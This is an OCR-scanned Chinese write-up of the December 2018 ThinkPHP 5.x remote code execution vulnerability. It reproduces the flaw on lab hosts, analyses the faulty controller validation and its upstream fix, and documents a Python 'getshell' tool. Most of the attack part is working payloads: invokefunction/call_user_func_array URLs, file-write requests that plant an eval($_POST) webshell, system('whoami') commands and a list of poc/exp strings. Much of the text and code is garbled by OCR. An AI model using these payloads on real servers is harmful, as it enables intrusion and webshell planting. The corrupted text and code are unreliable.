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win7+thinkphp5.1.24
(1) $fTphpinfo
/index.php/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

fthink5124/public/index.php/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

Docs @ Kali Tools ‘@ Exploit-DB W Aircrack-ng % Kali Forums & NetHunter @ Kali Training @ Getting Started

System Windows NT LSB-PC 6.1 build 7601 (Windows 7 Ultimate Edition Service Pack 1) i586
Build Date Aug 12017 20:56:01
Compiler MSVC14 (Visual C++ 2015)

(2) B—AHEARD
/index.php/?s=index/\think\template\driver\file/write&cacheFile=zxc0.php&content=<?php @eval($ POST[xxxxxx]);?>

fthink5124/public/zxcO.php
Burp Intruder Repeater Window Help

Jocs @ Kali Tools . Exploit-

Target T Prosxy I Spider I Scanner T Intruder T Repeater T Sequencer I Decoder I Comparer T Extendsr I Project options i User options TAIerts

[l

| Go Cancel <\ >|* Target: http://:

Upgrade- Insecura-Reguests: 1
Cache-Control: max-age=0 Lsb-peyLsh
Content-Length: 24

xxxxxx=systeml 'whoami');
debian+thinkphp5.1.30
(1) $4Tphpinfo

/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

Request Response

Raw ParamsTHeadersTHex] Raw | Headers | Hex
POST| /thinkS124/public/zxc0.php HTTR/1.1 A HTTR/L.1 200 0K

- Date: Wed, 12 Dec 2018 16:10:54 GMT

User-Agent: Mozilla/5.0 [X11; Linux x85_64; rvi63.0) Gecko/20100101 Server: Apache/2.4.27 (Win32) OpenSsSL/1.0.21
Firefox/63.0 PHR/7.1.8
Accapt: text/html,application/xhtml+xml,application/xml;g=0.9,%/*;q=0.8 H-Powered-Sy: PHR/7.1.8
Accept-Language: en-US,en;q=0.5 Content-Length: 12
Content-type: application/x-www-form-urlencoded Connection: close
Connection: close Content-Type: text/html; charset=UTF-8
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Jindex.php/?s =index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

docs @ KaliTools fe.

Exploit-DB Wy Aircrack-ng “%, Kali Forums " NetHunter & Kali Training @ Get

(2) BE—AEARG

System Linux 4adalenT 7= < 1 7 Oelid- a8 <1 5P Debian 4.1]
Build Date Nov 16 2018 03:53.33
Confioure Command *Jeonfioure” —-build=x86 64-linux-mus!" —with-confio-file-path=

/index.php/?s=index/\think\template\driver\file/write&cacheFile=zxc0.php&content=<?php @eval($§_POST[xxxxxx]);?>

fzxc0.php

DUE RMUUE] NERSELST WIIMUW SR

Jocs @ Kali Tools e EJ

Target | Praxy | Spider Tscannar Tlnlruder M Sequencer TDe:ndar Tcomparar TExtander Tije:t aptions Tusar op

1 = i

Go Cancel <|r > Target: http:

Request Response

@Pamms Headers | Hex @Headers Hex

POST /zxcO.php HTTP/1.1 4 HTTP/1.1 200 OK

I Host: 192.168.43.237:8080

User-Agent: MozillayS.0 (X11; Linux x86_64; rv:63.0) Date: Wed, 12 Dec 2018 16:17:55 +0000
Gecko/20100101 Firefox/63.0 Connection: close

Accept: X-Powered-By: PHP/7.2.12

text/html, application/xhtml+xml, application/xml; q=0.9,%*/*;q=0.8 Content-type: text/html; charset=UTF-&
Accept-Language: en-US,en;g=0.5

Content-type: application/x-www-form-urlencoded root

Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 24

win7+thinkphp5.0.16

(1) $fTphpinfo

xxxxxx=system('whoam');

/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

3/think5016/public/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

Docs @ Kali Tools . Exploit-DB Wy Aircrack-ng "%, Kali Forums “, NetHunter @ Kali Training @ Getting Started

System Windows NT L3B-PC 6.1 buid 7601 (Windows 7 Ultimate Edition Service Pack 1) 586
Build Date Aug 1 2017 20:56:01
Compiler MSVC14 (Visual C++ 2015)

(2) BE—AEARG

/index.php/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zxcl.php&vars[1][]=<?php
@eval($_POST[xxxxxx]);?>

think5016/public/zxcl.

iocs @ Kali Tools ‘&,

php [Target T Proxy T Spider T Scanner T Intruder M Sequencer T Decoder T Comparer T Extender T Project options T User
Explo 1l x |2 x
Cancel > Target: htty
Request Response

M Params T Headers T Hex ] M Headers T Hex ]

POST /think5016/public/zxcl.php HTTR/1.1 A HTTP/1.1 200 OK

He ~a8E P Date: Wed, 12 Dec 2018 16:32:53 GMT
User-aAgent: Mozilla/5.0 (X11; Linux x85 64; rv:63.0) Server: Apache/2.4.27 (Win32) Openssl
Gecko/20100101 Firefox/63.0 X-Powered-By: PHP/7.1.8

Accept: Content-Length: 12

text/html, application/xhtml+xml, application/xml; q=0.9,*/*;q=0.8 Connection: close

Accept-Language: en-US,en;g=0.5 Content-Type: text/html; charset=UTF
Content-type: application/x-www-form-urlencoded

Connection: close Lsb-pcilsh

Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 24

xxxxxx=system('whoami');

0x03 BEFTR

1. H3Egit/composerE #
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2. FIMBE
5.AhRAE
FEthink\route\dispatch\UrlZ&IparseUrl /7i% , figAmizh2s f/in_Lt
if (Scontroller && !preg_match(‘/"[A-Za-z](\w|\.)*$/", $controller)) {
throw new HttpException(404, ‘controller not exists:” . $controller);}
5.0hRA
{Ethink\AppZEfimodule 7 AR IR HIZS AR fAE N _E
if (!preg_match(‘/"[A-Za-z](\w|\.)*$/*, $controller)) {
throw new HttpException(404, ‘controller not exists:” . $controller);}
WMRHTEIF404 , FXBEHIER , fnbv

if (!preg_match(‘/*[A-Za-z\/](\w|\.)*$/*, $controller)) {
0x04 JmiRD AT

Thinkphp5.1.24:
FEANT ¢

BERFRER

W51 (#54) O vs131

Browse files

ﬂ liu21st committed 3 days ago 1 parent 4c2b06e  commit 802f284bec821a608e7543d91126abc5901b2815
Showing 1 changed file with 6 additions and 1 deletion. Unified | Split

7 mmmm library/think/route/dispatch/Module.php View file v

-3 @@ -67,7 public function init()

RIEE

s_bool($this->convert) ? $this->convert : $this->rule->getConfig('url_convert')

/7 FEIEEIRR

- scontroller = strip_tags($result[1] ?: $this->rule->getConfig('default_controller'))
+ Scontroller = strip_tags($result[1] ?: $this->rule->getConfig('default_controller'))

"

+ if (tpreg_match('/n[A-Za-z](\w)*$/', $controller)) {

+ throw new HttpException(4@4, 'controller not exists:' . $controller)

+ 3

SsfcontrollerZs il 7 i &

EREEAE
Module.php:83

public function exec()
{
// ¥Mmodule init
Sthis->app['hook']->listen ('module init'");

vy |
// KREUCESIZR
$instance = $this->app->controller ($this->controller,
Sthis->rule->getConfig('url controller layer'),
Sthis->rule->getConfig('controller suffix'),
Sthis->rule->getConfig('empty controller'));
} catch (ClassNotFoundException $e) {
throw new HttpException (404, 'controller not exists:' . $e->getClass());
}

$data = S$this->app->invokeReflectMethod ($instance, S$reflect, $vars);

return $this->autoResponse ($data);

P

Sinstance = $this->app->controller

KRB U AR

& Econtrollerfyi%
App.php:719
public function controller ($name, $layer = 'controller', S$appendSuffix = false, Sempty = '')
{
list($module, $class) = S$Sthis->parseModuleAndClass ($name, $layer, SappendSuffix);
if (class_exists($class)) {
return $this-> get($class);
} elseif (Sempty && class_exists (SemptyClass = $this->parseClass (Smodule, S$layer, S$empty, SappendSuffix))) {

return $this-> get ($emptyClass);
}

throw new ClassNotFoundException('class not exists:' . $class, $class);

}

list($module, $class) = $this->parseModuleAndClass($name, $layer, $appendSuftix);
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parseModuleAndClassfi##TSname AAEHRFIZE | FBSBI4h3E
BREZAE , F6401T

protected function parseModuleAndClass ($name, $layer, S$appendSuffix
{

if (false !== strpos($name, '\\')) {
Sclass = Sname;
Smodule = S$this->request->module () ;
} else {
if (strpos($name, '/')) {
list($module, $name) = explode('/', S$name, 2);
} else {
Smodule = S$this->request->module () ;

}

$class = $this->parseClass($module, $layer, S$name, S$appendSuffix);
}

return [Smodule, S$Sclass];

}

TUEB IR SnameBEZ T\,
Sclass = $name;

$module = $this->request->module();

return [$module, Sclass];

HikKsnamefEARET , MGLTEMREHE , FTIATTUFI A6 L TEKIFIMEE—12

AR F U AEHISname , BP $controller,
BEREMAT , BN fEATurli)
Url.php:37

protected function parseUrl ($Surl

{
Sdepr = S$this->rule->getConfig('pathinfo depr');
$bind = S$this->rule->getRouter () ->getBind () ;

if (!empty($bind) && preg match('/"[a-z]/is', $bind)) {

Sbind = str replace('/', $depr, $bind);

// WIRBEIR/EHISRIBE

Surl = $bind . ('.' != substr($bind, -1) ? $depr : '') . ltrim(Surl
}

list($path, $var) S$this->rule->parseUrlPath (Surl) ;

if (empty($path)) {
return [null, null, null];
}
list($path, $var) = $this->rule->parseUrlPath($url);
VAR T parseUrlPath() , ZK4EIR13F
& ERule.php:947
public function parseUrlPath($url)

{
// DRFHER BREEEXERA—NDRT

Surl = str_replace('|', '/', Surl);
Surl = trim($url, '/');

Svar = [];

if (false !== strpos(Surl, '?")

{
[/ HESR/EERIER/1RAF 2 BB -E1«BH-E2. ..
Sinfo = parse_url(Surl);
Spath = explode('/', $info['path']);
parse_str($info['query'], S$var);
} elseif (strpos($url, '/")) {
[/ HESR/PEEIER /1RAE)
Spath = explode('/', $url);
} elseif (false !== strpos(Surl, '=')) {
// BEI-E1sB8-E2. ..
S$path = [];
parse_str(Surl, $var);
} else {
S$path = [Surl];
}

return [$path, $var];
}

R/ Bl RER G — BB RS, | FILIR

BB AR url:
Request.php:716

/* *
* REYAIERURLMpathinfofE & (REURLIGER)
* Qaccess public
* @return string
*/
public function path(
{

Sdepr) ;

417



if (is_null($this->path)) {
S$suffix = $this->config['url_html suffix'];
$pathinfo = S$this->pathinfo();

if (false === $suffix) ({
// BRI hERSIR
Sthis->path = $pathinfo;
} elseif (Ssuffix) {
// EMRIERMURLEESR

$this->path = preg replace ('/\.(' . ltrim($suffix, '.') . ')$/i', '', S$pathinfo);
} else {

// RV ERIEZAR

Sthis->path = preg replace('/\.' . S$this->ext() . '$/i', '', S$Spathinfo);

}
) return $this->path;
ERIEZ 34T
// PATHINFOZ 24 ATHAHER
‘var_pathinfo’ =>°s’,
FTRART A Fpathinfosls k& 1% F
/lwindows £ ¥ pathinfol kN AR/ , BN s

FApayload:
http://127.0.0.1/public/index.php?s=index/namespace\class/method

BN — A Eshellffexp
http://127.0.0.1/public/index.php/?s=index/\think\template\driver\file/write&cacheFile=zxc0.php&content=<?php @eval($§ POST[xxxxxx]);?>
& T \think\template\driver\file;x {2

class File
{

protected S$cacheFile;

/**
* BEARIZEEEF
* Qaccess public
* @param string S$ScacheFile EEMNXHE
* @param string Scontent EEFMNAR
* @return void|array
*/
public function write ($cacheFile, S$content)
{
// BNERER

$dir = dirname ($cacheFile);
if (!is_dir($dir)) |
mkdir ($dir, 0755, true);
}
// ERRREFEX
if (false === file put contents ($cacheFile, Scontent)) {
throw new Exception('cache write error:' . S$cacheFile, 11602);

}
}

FXAFEEE Ashell T

0x05 U T A

TR B b : https:/github.com/theLS A/tpS-getshell

ATAFFRulALERN , Hphpinforfz, cmd sheld&Z, getshel(E—aTEMRI , BN EIEK(E A getsheliEK,
£ BN

python tp5-getshell.py -h

s s oo o ook o e f ok Sk o s of ko o o ko o o ok ook e o o ok sk o e o ok sk s s ko o o ko o o
thinkphp5 r 11l (cont u
Coded by LSA *

Fo ok o e e e e e e o e e o e o e e e e o e e e o o o e e e o o e o e e o e o o e o o e e e e e ok

python tp5-getshell.py -h (manual)

show program's v ion num and exit
show this help m age and it

-u TGTURL single url

-f TGTURLSPATH wurls filepath[exploit default]

-5 TIMEOUT timeout onds)

-t THREADS the number of threads

--exploit exploit url

--cmdshell cmd shell mode
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Hurl#il (phpinfotfz()
{8 Fl4FFpockill : FHphpinfo
python tpS-getshell.py -u http:/www.xxx.com:8888/think5124/public/

s o e e o ok o o s ok ok ok e ok sk ke sk st ok ok e e o ok ok e e ok ok ok ok sk ok ok ok o ok sk ke ok ok ok ok e o ok ok ok ok ke ok ok
thinkphp5 rce getshell(controller) v
Coded by LSA *

s s s s sf s of s of sk of s of s ofe s o s of s sfe s s s e sk e s s s fe s s s s sk e s sk of e ok s of sk of s of ok sk ok

! pocO: /ind php/?s=ind \think\Container/invokefunct
func_array&vars[@]=phpinfo&vars[1][]=1

! pocl: /index.php/?s=index/\think\app/invokefunction&f
_func_array&vars[e]=phpinfo&vars[1][]=1

Getshell checked success! poc2: /index.php/?s=index/\think\Request/input&filter
phpinfo&data=1

Getshell checked success! poc3: /index.php?s=/index/\think\request/cache
hpinfo

BurlfGil (getshelltE3X)
& F3FhexpittfTgetshell , IBENEHENMRexpHfZLL , BilEE R getshell
python tpS-getshell.py -u http://www.xxx.com:8888/think5124/public/ —exploit

EEE S E ST
*
*

Getshell! "think5124/public//zxco.php|pwd:

Byrl#iN] (cmd shell#E=X)

python tp5-getshell.py -u http://www.xxx.com/ —cmdshell
LR SRS S EE S EEE S E S S L LS

Coded by LSA *

e 2 o e e o o of e ok o o o o o o ofe o o of e o o of e e ok o ofe o o o o e e o of e ok o o o o o o ofe o ok of o ok

Getshell cmd succe oW e poc@: index.php?s=index/\think\app/invokefunctio
&function=call_user_ -1 s[@]=s m&vars[11[1={}

cmd>>> whoami

root

root

cmd=>> id

uid=8(root) gid=0(root) groups=0(root),1l(bin}),2(daemon),3(sys),4(adm),6(disk), 1€
1),11(floppy),20(dialout),26(ta ,27 (video)
(root) gid=@(root) groups=0( il 1fbln} 2(daemon), ,4(adm),6(disk), 1¢
1) llfflnpp"} 20(dialout),26(tape),27(video)

HERN (getshelltE)
& F3FhexpittfTgetshell , IBENEHTNRexpHfZLE , FilEE SR getshell
python tpS-getshell.py -f urls.txt -t 2 -s 10

Grtwhrll' http X php | pwd
. king: http i 7s=index/\think\template\driver\f
acheFils al($ _POST[> 1);?=---[3/5]

1! http 3888 24 i 1 php | pwd

king: http 888/think5016/public//ind php/?
|p1atr\dr1v~ 2File=zxcO.php&content=<?php @eval($ POST[xx
== 4751
) king: http 3888/think5016/public//index.php/7s=/index/\
k\app/invokeful L1 _user_func_a t&vars[0]=file put contents
s[1]1[]1=zxcl.phj deval($_POST[ k1) ;?=---[4/5]
1! http xcB.php | pwd
klng http findex.php/7s=index/\think\template\driver\f
acheFils ==7php al($ POST 1);?=---[5/5]

1! http 3 -uftthKSOlﬂfpubllC/f xcl.php|pwd X
Checking: http i ? i “'/\thlﬁk\dpp/annkrfUﬂCtl
unction=call u s[e e _conte &vars[1][]=zxcl.php&va
1[1=<?php ] ="

Checking: £ By i X ?s=/index/\think\app/invokefuncti
i func_array&vars[0]=system&vars[1][]=echo '<?php @eval($ PO
2. php -[5/51

Jtotall: [4/5]###
batch result/20181213011259,
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/%
AT AR Epayload

poc0 = “/index.php/?s=index/\\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1"

pocl = “/index.php/?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1"

poc2 = ‘/index.php/?s=index/\\think\Request/input&filter=phpinfo&data=1’

poc3 = “/index.php?s=/index/\\think\\request/cache&key=1|phpinfo’

AT ARNEexp

exp0 = ‘/index.php/?s=index/\\think\\template\driver\\file/write&cacheFile=zxc0.php&content=<?php @eval($_POST[xxxxxx]);?>’

expl = ‘/index.php/?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zxcl.php&vars[1][]=<?php
@eval($_POST[xxxxxx]);?>’

exp2 = ‘/index.php/?s=/index/\\think\\app/invokefunction& function=call_user_func_array&vars[0]=system&vars[1][]=echo \'<?php @eval($_POST[xxxxxx]);?
>\">zxc2.php’

*/

M 4% 1

0x06 Z5E
BEEN—NRA

0x07 2 &x}

https://xz.aliyun.com/t/3570

https://mp.weixin.qq.com/s/oWzDIIjJS2cwib4rzOM4D

https://blog.thinkphp.cn/869075

https://iag.pw/archives/106
https://github.com/top-think/framework/commit/802{284bec821a608¢7543d91126abc5901b2815
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